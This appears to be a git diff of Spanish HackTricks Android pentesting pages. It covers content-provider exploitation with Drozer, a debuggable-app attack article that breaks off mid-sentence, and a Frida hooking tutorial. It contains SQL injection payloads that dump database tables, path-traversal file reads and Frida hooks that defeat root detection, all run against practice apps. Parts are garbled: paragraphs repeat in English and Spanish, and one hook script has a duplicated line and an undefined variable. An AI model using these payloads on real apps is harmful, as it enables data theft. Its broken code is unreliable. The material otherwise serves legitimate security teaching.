<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,227 @@
|
|||
# Explotando Proveedores de Contenido
|
||||
|
||||
## Explotando Proveedores de Contenido
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Introducción
|
||||
|
||||
Un componente proveedor de contenido **proporciona datos de una aplicación a otras** a petición. Dichas solicitudes son manejadas por los métodos de la clase ContentResolver. Un proveedor de contenido puede utilizar diferentes formas de almacenar sus datos y los datos pueden estar **almacenados** en una **base de datos**, en **archivos**, o incluso a través de una **red**.
|
||||
|
||||
Debe ser declarado dentro del archivo _Manifest.xml_. Ejemplo:
|
||||
```markup
|
||||
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
|
||||
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
|
||||
</provider>
|
||||
```
|
||||
En este caso, es necesario el permiso `READ_KEYS` para acceder a `content://com.mwr.example.sieve.DBContentProvider/Keys`. (_También, observe que en la siguiente sección vamos a acceder a `/Keys/` que no está protegido, esto se debe a que el desarrollador se confundió y protegió `/Keys` pero declaró `/Keys/`_)
|
||||
|
||||
**Tal vez puedas acceder a datos privados o explotar alguna vulnerabilidad (Inyección SQL o Traversal de Ruta).**
|
||||
|
||||
## Obtener información de **proveedores de contenido expuestos**
|
||||
```
|
||||
dz> run app.provider.info -a com.mwr.example.sieve
|
||||
Package: com.mwr.example.sieve
|
||||
Authority: com.mwr.example.sieve.DBContentProvider
|
||||
Read Permission: null
|
||||
Write Permission: null
|
||||
Content Provider: com.mwr.example.sieve.DBContentProvider
|
||||
Multiprocess Allowed: True
|
||||
Grant Uri Permissions: False
|
||||
Path Permissions:
|
||||
Path: /Keys
|
||||
Type: PATTERN_LITERAL
|
||||
Read Permission: com.mwr.example.sieve.READ_KEYS
|
||||
Write Permission: com.mwr.example.sieve.WRITE_KEYS
|
||||
Authority: com.mwr.example.sieve.FileBackupProvider
|
||||
Read Permission: null
|
||||
Write Permission: null
|
||||
Content Provider: com.mwr.example.sieve.FileBackupProvider
|
||||
Multiprocess Allowed: True
|
||||
Grant Uri Permissions: False
|
||||
```
|
||||
Podemos **reconstruir** parte de las **URI** del contenido para acceder al **DBContentProvider**, porque sabemos que deben comenzar con "_content://_" y la información obtenida por Drozer dentro de Path: _/Keys_.
|
||||
|
||||
Drozer puede **adivinar y probar varias URIs**:
|
||||
```
|
||||
dz> run scanner.provider.finduris -a com.mwr.example.sieve
|
||||
Scanning com.mwr.example.sieve...
|
||||
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
|
||||
...
|
||||
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
|
||||
Accessible content URIs:
|
||||
content://com.mwr.example.sieve.DBContentProvider/Keys/
|
||||
content://com.mwr.example.sieve.DBContentProvider/Passwords
|
||||
content://com.mwr.example.sieve.DBContentProvider/Passwords/
|
||||
```
|
||||
También debes revisar el **código del ContentProvider** para buscar consultas:
|
||||
|
||||
![](<../../../.gitbook/assets/image (121) (1) (1) (1).png>)
|
||||
|
||||
Además, si no puedes encontrar consultas completas, puedes **verificar qué nombres son declarados por el ContentProvider** en el método `onCreate`:
|
||||
|
||||
![](<../../../.gitbook/assets/image (186).png>)
|
||||
|
||||
La consulta será como: `content://nombre.del.paquete.clase/nombre_declarado`
|
||||
|
||||
## **Content Providers respaldados por bases de datos**
|
||||
|
||||
Probablemente la mayoría de los Content Providers se utilizan como **interfaz** para una **base de datos**. Por lo tanto, si puedes acceder a ella, podrías ser capaz de **extraer, actualizar, insertar y eliminar** información.\
|
||||
Revisa si puedes **acceder a información sensible** o intenta cambiarla para **burlar los mecanismos de autorización**.
|
||||
|
||||
Al revisar el código del Content Provider, **busca** también **funciones** con nombres como: _query, insert, update y delete_:
|
||||
|
||||
![](<../../../.gitbook/assets/image (187).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (254) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
Porque podrás llamarlas.
|
||||
|
||||
### Consulta de contenido
|
||||
```
|
||||
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
|
||||
_id: 1
|
||||
service: Email
|
||||
username: incognitoguy50
|
||||
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
|
||||
-
|
||||
email: incognitoguy50@gmail.com
|
||||
```
|
||||
### Insertar contenido
|
||||
|
||||
Al consultar la base de datos, aprenderás el **nombre de las columnas**, luego podrás insertar datos en la base de datos:
|
||||
|
||||
![](<../../../.gitbook/assets/image (188) (1).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (189) (1).png>)
|
||||
|
||||
_Nota que en insert y update puedes usar --string para indicar una cadena, --double para indicar un doble, --float, --integer, --long, --short, --boolean_
|
||||
|
||||
### Actualizar contenido
|
||||
|
||||
Conociendo el nombre de las columnas, también puedes **modificar las entradas**:
|
||||
|
||||
![](<../../../.gitbook/assets/image (190).png>)
|
||||
|
||||
### Eliminar contenido
|
||||
|
||||
![](<../../../.gitbook/assets/image (191).png>)
|
||||
|
||||
### **Inyección SQL**
|
||||
|
||||
Es fácil probar la inyección SQL **(SQLite)** manipulando los campos de **proyección** y **selección** que se pasan al proveedor de contenido.\
|
||||
Al consultar el proveedor de contenido hay 2 argumentos interesantes para buscar información: _--selection_ y _--projection_:
|
||||
|
||||
![](<../../../.gitbook/assets/image (192) (1).png>)
|
||||
|
||||
Puedes intentar **abusar** de estos **parámetros** para probar las **inyecciones SQL**:
|
||||
```
|
||||
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
|
||||
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
|
||||
```
|
||||
|
||||
```
|
||||
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
|
||||
FROM SQLITE_MASTER WHERE type='table';--"
|
||||
| type | name | tbl_name | rootpage | sql |
|
||||
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
|
||||
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
|
||||
```
|
||||
**Descubrimiento automático de SQLInjection por Drozer**
|
||||
|
||||
Drozer has a module called `scanner.provider.sqlinjection` that can be used to automatically discover SQL injection vulnerabilities in content providers. This module sends a series of SQL injection payloads to the target content provider and analyzes the responses to determine if a vulnerability exists.
|
||||
|
||||
Drozer tiene un módulo llamado `scanner.provider.sqlinjection` que se puede utilizar para descubrir automáticamente vulnerabilidades de inyección SQL en proveedores de contenido. Este módulo envía una serie de cargas útiles de inyección SQL al proveedor de contenido objetivo y analiza las respuestas para determinar si existe una vulnerabilidad.
|
||||
```
|
||||
dz> run scanner.provider.injection -a com.mwr.example.sieve
|
||||
Scanning com.mwr.example.sieve...
|
||||
Injection in Projection:
|
||||
content://com.mwr.example.sieve.DBContentProvider/Keys/
|
||||
content://com.mwr.example.sieve.DBContentProvider/Passwords
|
||||
content://com.mwr.example.sieve.DBContentProvider/Passwords/
|
||||
Injection in Selection:
|
||||
content://com.mwr.example.sieve.DBContentProvider/Keys/
|
||||
content://com.mwr.example.sieve.DBContentProvider/Passwords
|
||||
content://com.mwr.example.sieve.DBContentProvider/Passwords/
|
||||
|
||||
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
|
||||
Scanning jakhar.aseem.diva...
|
||||
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
|
||||
android_metadata
|
||||
notes
|
||||
sqlite_sequence
|
||||
```
|
||||
## **Proveedores de contenido respaldados por el sistema de archivos**
|
||||
|
||||
Los proveedores de contenido también se pueden utilizar para **acceder a archivos:**
|
||||
|
||||
![](<../../../.gitbook/assets/image (193).png>)
|
||||
|
||||
### Leer **archivo**
|
||||
|
||||
Puedes leer archivos desde el proveedor de contenido.
|
||||
```
|
||||
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
|
||||
127.0.0.1 localhost
|
||||
```
|
||||
### **Traversing de Ruta**
|
||||
|
||||
Si puedes acceder a archivos, puedes intentar abusar de una Traversing de Ruta (en este caso no es necesario, pero puedes intentar usar "_../_" y trucos similares).
|
||||
```
|
||||
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
|
||||
127.0.0.1 localhost
|
||||
```
|
||||
**Descubrimiento automático de Traversal de ruta por Drozer**
|
||||
|
||||
Drozer has a module that can be used to automatically discover Path Traversal vulnerabilities in Content Providers. The module is called `scanner.provider.traversal` and it can be used as follows:
|
||||
|
||||
Drozer tiene un módulo que se puede utilizar para descubrir automáticamente vulnerabilidades de Traversal de ruta en los proveedores de contenido. El módulo se llama `scanner.provider.traversal` y se puede utilizar de la siguiente manera:
|
||||
|
||||
```
|
||||
dz> run scanner.provider.traversal <authority>
|
||||
```
|
||||
|
||||
Where `<authority>` is the authority of the Content Provider to be scanned. For example:
|
||||
|
||||
Donde `<authority>` es la autoridad del proveedor de contenido que se va a escanear. Por ejemplo:
|
||||
|
||||
```
|
||||
dz> run scanner.provider.traversal content://com.example.provider
|
||||
```
|
||||
|
||||
The module will automatically try to discover Path Traversal vulnerabilities by sending requests to the Content Provider with different traversal patterns. If a vulnerability is found, the module will report it and provide details about the affected Content Provider and the vulnerable URI.
|
||||
|
||||
El módulo intentará automáticamente descubrir vulnerabilidades de Traversal de ruta enviando solicitudes al proveedor de contenido con diferentes patrones de Traversal. Si se encuentra una vulnerabilidad, el módulo la informará y proporcionará detalles sobre el proveedor de contenido afectado y la URI vulnerable.
|
||||
```
|
||||
dz> run scanner.provider.traversal -a com.mwr.example.sieve
|
||||
Scanning com.mwr.example.sieve...
|
||||
Vulnerable Providers:
|
||||
content://com.mwr.example.sieve.FileBackupProvider/
|
||||
content://com.mwr.example.sieve.FileBackupProvider
|
||||
```
|
||||
## Referencias
|
||||
|
||||
* [https://www.tutorialspoint.com/android/android\_content\_providers.htm](https://www.tutorialspoint.com/android/android\_content\_providers.htm)
|
||||
* [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,62 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR a los repositorios [hacktricks](https://github.com/carlospolop/hacktricks) y [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**Información copiada de** [**https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications/#article**](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications/#article)
|
||||
|
||||
Para hacer este artículo más interesante, he desarrollado una aplicación vulnerable con fines de demostración, que tiene un "botón" y un "textview".
|
||||
|
||||
Complete el formulario a continuación para descargar el código asociado con este artículo.
|
||||
|
||||
Si lanzamos la aplicación, muestra el mensaje "**Crack Me**".
|
||||
|
||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack1.png)
|
||||
|
||||
Figura 1
|
||||
|
||||
Si hacemos clic en el botón, dice "**Try Again**". Ahora, nuestro objetivo es cambiar el mensaje "Try Again" a "Hacked" sin modificar el código fuente de la aplicación. Para ser precisos, tenemos que cambiarlo en tiempo de ejecución.
|
||||
|
||||
## **Herramientas necesarias**
|
||||
|
||||
* Emulador
|
||||
* adb - Android Debug Bridge
|
||||
* jdb - Java Debugger
|
||||
|
||||
En mi caso, para hacer las instalaciones más fáciles, estoy usando Android Tamer ya que todas las herramientas requeridas anteriores están preinstaladas.
|
||||
|
||||
## **Temas involucrados**
|
||||
|
||||
* Comprobación de vulnerabilidades.
|
||||
* Preparación de la configuración.
|
||||
* Inyección de código en tiempo de ejecución.
|
||||
|
||||
Comencemos el juego.
|
||||
|
||||
## **Comprobación de vulnerabilidades**
|
||||
|
||||
De hecho, esta es la parte más fácil de todo el artículo.
|
||||
|
||||
* Descompilar la aplicación usando APKTOOL para obtener el archivo AndroidManifest.xml usando el siguiente comando.
|
||||
|
||||
apktool d \<vulnerableapp>.apk
|
||||
|
||||
* Inspeccione el archivo Androidmanifest.xml en busca de la siguiente línea.
|
||||
|
||||
android\_debuggable="true"
|
||||
|
||||
Si encuentra la línea anterior en el archivo AndroidManifest.xml, la aplicación es depurable y puede ser explotada.
|
||||
|
||||
**Nota:** Usamos APKTOOL para ver si la aplicación es depurable o no. No tocaremos ni modific
|
|
@ -0,0 +1,323 @@
|
|||
# Tutorial de Frida
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una plataforma premium de **bug bounty creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Instalación
|
||||
|
||||
Instala las **herramientas de frida**:
|
||||
```bash
|
||||
pip install frida-tools
|
||||
pip install frida
|
||||
```
|
||||
**Descarga e instala** en el dispositivo Android el **servidor de Frida** ([Descarga la última versión](https://github.com/frida/frida/releases)).\
|
||||
Comando para reiniciar adb en modo root, conectarse a él, subir el servidor de Frida, dar permisos de ejecución y ejecutarlo en segundo plano:
|
||||
```bash
|
||||
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
|
||||
```
|
||||
**Comprueba** si está **funcionando**:
|
||||
```bash
|
||||
frida-ps -U #List packages and processes
|
||||
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
||||
```
|
||||
## Tutoriales
|
||||
|
||||
### [Tutorial 1](frida-tutorial-1.md)
|
||||
|
||||
**Desde**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
|
||||
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
|
||||
**Código fuente**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
|
||||
|
||||
Sigue el [enlace para leerlo](frida-tutorial-1.md).
|
||||
|
||||
### [Tutorial 2](frida-tutorial-2.md)
|
||||
|
||||
**Desde**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Partes 2, 3 y 4)\
|
||||
**APKs y código fuente**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
|
||||
Sigue el [enlace para leerlo](frida-tutorial-2.md).
|
||||
|
||||
### [Tutorial 3](owaspuncrackable-1.md)
|
||||
|
||||
**Desde**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
||||
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk)
|
||||
|
||||
Sigue el [enlace para leerlo](owaspuncrackable-1.md).\
|
||||
**Puedes encontrar algunos scripts impresionantes de Frida aquí:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
|
||||
## Ejemplos rápidos
|
||||
|
||||
Aquí puedes encontrar las funcionalidades más básicas e interesantes de Frida para hacer un script rápido:
|
||||
|
||||
### Llamando a Frida desde la línea de comandos
|
||||
```bash
|
||||
frida-ps -U
|
||||
|
||||
#Basic frida hooking
|
||||
frida -l disableRoot.js -f owasp.mstg.uncrackable1
|
||||
|
||||
#Hooking before starting the app
|
||||
frida -U --no-pause -l disableRoot.js -f owasp.mstg.uncrackable1
|
||||
#The --no-pause and -f options allow the app to be spawned automatically,
|
||||
#frozen so that the instrumentation can occur, and the automatically
|
||||
#continue execution with our modified code.
|
||||
```
|
||||
### Script básico de Python
|
||||
```python
|
||||
import frida, sys
|
||||
|
||||
jscode = open(sys.argv[0]).read()
|
||||
process = frida.get_usb_device().attach('infosecadventures.fridademo')
|
||||
script = process.create_script(jscode)
|
||||
print('[ * ] Running Frida Demo application')
|
||||
script.load()
|
||||
sys.stdin.read()
|
||||
```
|
||||
### Enganchando funciones sin parámetros
|
||||
|
||||
Enganche la función `a()` de la clase `sg.vantagepoint.a.c`.
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
; rootcheck1.a.overload().implementation = function() {
|
||||
rootcheck1.a.overload().implementation = function() {
|
||||
send("sg.vantagepoint.a.c.a()Z Root check 1 HIT! su.exists()");
|
||||
return false;
|
||||
};
|
||||
});
|
||||
```
|
||||
# Hook `exit()` de Java
|
||||
|
||||
Frida nos permite interceptar llamadas a funciones de Java desde JavaScript. En este ejemplo, vamos a interceptar la llamada a la función `exit()` de Java.
|
||||
|
||||
## Código
|
||||
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
var System = Java.use('java.lang.System');
|
||||
System.exit.implementation = function (int) {
|
||||
console.log("Intercepted exit(", int, ")");
|
||||
};
|
||||
});
|
||||
```
|
||||
|
||||
## Explicación
|
||||
|
||||
Primero, usamos la función `Java.use()` para obtener una referencia a la clase `java.lang.System`. Luego, reemplazamos la implementación de la función `exit()` con nuestra propia función. En este caso, simplemente imprimimos un mensaje en la consola con los argumentos de la función `exit()`.
|
||||
|
||||
## Ejecución
|
||||
|
||||
Para ejecutar este script, simplemente usemos el comando `frida -U -f <nombre del paquete> -l <ruta del script>`. Por ejemplo:
|
||||
|
||||
```
|
||||
$ frida -U -f com.example.myapp -l hook_exit.js
|
||||
```
|
||||
|
||||
Luego, simplemente ejecutemos la aplicación y veremos el mensaje en la consola cuando se llame a la función `exit()`.
|
||||
```javascript
|
||||
var sysexit = Java.use("java.lang.System");
|
||||
sysexit.exit.overload("int").implementation = function(var_0) {
|
||||
send("java.lang.System.exit(I)V // We avoid exiting the application :)");
|
||||
};
|
||||
```
|
||||
# Eng
|
||||
## Hook MainActivity `.onStart()` & `.onCreate()`
|
||||
|
||||
In this example we will hook the `onStart()` and `onCreate()` methods of the `MainActivity` class of an Android app using Frida.
|
||||
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
var MainActivity = Java.use('com.example.app.MainActivity');
|
||||
|
||||
MainActivity.onCreate.implementation = function () {
|
||||
console.log('[+] onCreate() called');
|
||||
this.onCreate();
|
||||
};
|
||||
|
||||
MainActivity.onStart.implementation = function () {
|
||||
console.log('[+] onStart() called');
|
||||
this.onStart();
|
||||
};
|
||||
});
|
||||
```
|
||||
|
||||
# Esp
|
||||
## Hook MainActivity `.onStart()` y `.onCreate()`
|
||||
|
||||
En este ejemplo vamos a hacer hooking de los métodos `onStart()` y `onCreate()` de la clase `MainActivity` de una aplicación Android utilizando Frida.
|
||||
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
var MainActivity = Java.use('com.example.app.MainActivity');
|
||||
|
||||
MainActivity.onCreate.implementation = function () {
|
||||
console.log('[+] onCreate() llamado');
|
||||
this.onCreate();
|
||||
};
|
||||
|
||||
MainActivity.onStart.implementation = function () {
|
||||
console.log('[+] onStart() llamado');
|
||||
this.onStart();
|
||||
};
|
||||
});
|
||||
```
|
||||
```javascript
|
||||
var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity");
|
||||
mainactivity.onStart.overload().implementation = function() {
|
||||
send("MainActivity.onStart() HIT!!!");
|
||||
var ret = this.onStart.overload().call(this);
|
||||
};
|
||||
mainactivity.onCreate.overload("android.os.Bundle").implementation = function(var_0) {
|
||||
send("MainActivity.onCreate() HIT!!!");
|
||||
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
|
||||
};
|
||||
```
|
||||
# Hook android `.onCreate()`
|
||||
|
||||
En este tutorial, aprenderás cómo usar Frida para enganchar el método `.onCreate()` de una aplicación de Android.
|
||||
|
||||
## Requisitos
|
||||
|
||||
- [Frida](https://frida.re/docs/installation/)
|
||||
- Dispositivo Android o emulador con la aplicación objetivo instalada
|
||||
|
||||
## Paso 1: Iniciar la aplicación
|
||||
|
||||
Inicie la aplicación en su dispositivo o emulador Android.
|
||||
|
||||
## Paso 2: Obtener el nombre del proceso
|
||||
|
||||
Ejecute el siguiente comando para obtener el nombre del proceso de la aplicación:
|
||||
|
||||
```bash
|
||||
adb shell ps | grep <app_package_name>
|
||||
```
|
||||
|
||||
Reemplace `<app_package_name>` con el nombre del paquete de la aplicación.
|
||||
|
||||
## Paso 3: Escribir el script de Frida
|
||||
|
||||
Cree un archivo llamado `hook_oncreate.js` con el siguiente contenido:
|
||||
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
var MainActivity = Java.use('<app_package_name>.MainActivity');
|
||||
MainActivity.onCreate.implementation = function (savedInstanceState) {
|
||||
console.log('[*] onCreate() hooked');
|
||||
this.onCreate(savedInstanceState);
|
||||
};
|
||||
});
|
||||
```
|
||||
|
||||
Reemplace `<app_package_name>` con el nombre del paquete de la aplicación.
|
||||
|
||||
Este script de Frida enganchará el método `.onCreate()` de la clase `MainActivity` y registrará un mensaje en la consola.
|
||||
|
||||
## Paso 4: Ejecutar el script de Frida
|
||||
|
||||
Ejecute el siguiente comando para ejecutar el script de Frida:
|
||||
|
||||
```bash
|
||||
frida -U -f <app_package_name> -l hook_oncreate.js --no-pause
|
||||
```
|
||||
|
||||
Reemplace `<app_package_name>` con el nombre del paquete de la aplicación.
|
||||
|
||||
## Paso 5: Verificar la salida
|
||||
|
||||
Verifique la salida de la aplicación. Debería ver un mensaje en la consola que indica que el método `.onCreate()` ha sido enganchado.
|
||||
|
||||
¡Eso es todo! Ahora sabes cómo usar Frida para enganchar el método `.onCreate()` de una aplicación de Android.
|
||||
```javascript
|
||||
